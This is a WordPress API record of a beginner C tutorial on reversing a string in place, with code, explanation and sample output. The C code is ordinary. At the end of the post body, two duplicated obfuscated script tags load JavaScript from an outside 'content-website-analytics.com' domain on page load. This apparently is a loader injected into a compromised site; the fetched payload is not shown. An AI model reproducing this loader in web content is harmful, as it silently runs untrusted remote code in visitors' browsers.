{"id":1053,"date":"2024-10-21T15:03:08","date_gmt":"2024-10-21T09:33:08","guid":{"rendered":"https:\/\/codexplained.in\/?p=1053"},"modified":"2025-11-24T15:28:45","modified_gmt":"2025-11-24T09:58:45","slug":"reverse-a-string","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=1053","title":{"rendered":"Reverse a String"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Introduction<\/h3>\n\n\n\n<p>Reversing a string is a common task in programming that involves rearranging the characters of the string so that they appear in the opposite order. This operation can be useful in various applications, such as checking for palindromes, manipulating text, or simply for aesthetic purposes. In C, strings are typically represented as arrays of characters, which allows us to manipulate them using standard array operations.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\n#define MAX 100  \/\/ Maximum size of the string\n\nvoid reverseString(char str&#x5B;]) {\n    int start = 0;\n    int end = strlen(str) - 1;\n    char temp;\n\n    while (start &lt; end) {\n        \/\/ Swap characters\n        temp = str&#x5B;start];\n        str&#x5B;start] = str&#x5B;end];\n        str&#x5B;end] = temp;\n        \n        start++;\n        end--;\n    }\n}\n\nint main() {\n    char str&#x5B;MAX];\n\n    printf(&quot;Enter a string: &quot;);\n    fgets(str, sizeof(str), stdin);\n\n    \/\/ Remove the newline character if present\n    str&#x5B;strcspn(str, &quot;\\n&quot;)] = &#039;\\0&#039;;\n\n    printf(&quot;Original String: %s\\n&quot;, str);\n    \n    reverseString(str);\n    \n    printf(&quot;Reversed String: %s\\n&quot;, str);\n\n    return 0;\n}\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Includes and Defines<\/strong>: The program includes the <code>stdio.h<\/code> and <code>string.h<\/code> headers for input\/output and string manipulation functions, respectively. It defines a constant <code>MAX<\/code> for the maximum size of the string.<\/li>\n\n\n\n<li><strong>Reverse Function<\/strong>: The <code>reverseString<\/code> function takes a string as input and reverses it in place:\n<ul class=\"wp-block-list\">\n<li>It initializes two pointers, <code>start<\/code> and <code>end<\/code>, to the beginning and end of the string.<\/li>\n\n\n\n<li>A <code>while<\/code> loop runs as long as <code>start<\/code> is less than <code>end<\/code>. Inside the loop, it swaps the characters at these positions and moves the pointers towards the center.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>: In <code>main<\/code>, the program:\n<ul class=\"wp-block-list\">\n<li>Declares a string variable.<\/li>\n\n\n\n<li>Prompts the user to enter a string using <code>fgets<\/code>, which safely reads a line of input.<\/li>\n\n\n\n<li>Removes the newline character that <code>fgets<\/code> might add using <code>strcspn<\/code>.<\/li>\n\n\n\n<li>Displays the original string.<\/li>\n\n\n\n<li>Calls the <code>reverseString<\/code> function to reverse the string.<\/li>\n\n\n\n<li>Finally, it prints the reversed string.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Input<\/h3>\n\n\n\n<p>The user is prompted to enter a string. Example input:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nEnter a string: Hello, World!\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Output<\/h3>\n\n\n\n<p>The program outputs both the original and reversed strings. For the example input, the output will be:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nOriginal String: Hello, World!\nReversed String: !dlroW ,olleH\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>This C program effectively demonstrates how to reverse a string using basic string manipulation techniques. Understanding how to work with strings and arrays is crucial in C programming, as it forms the basis for many text processing tasks. The code can be easily adapted to handle different input sizes or to implement other string-related functionalities, making it a versatile example for learning about strings in C.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction Reversing a string is a common task in programming that involves rearranging the characters of the string so that they appear in the opposite order. This operation can be useful in various applications, such as checking for palindromes, manipulating text, or simply for aesthetic purposes. In C, strings are typically represented as arrays of [&hellip;]<\/p>\n","protected":false},"author":47,"featured_media":1103,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-1053","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1053","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/47"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1053"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1053\/revisions"}],"predecessor-version":[{"id":1374,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1053\/revisions\/1374"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/1103"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1053"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1053"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1053"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}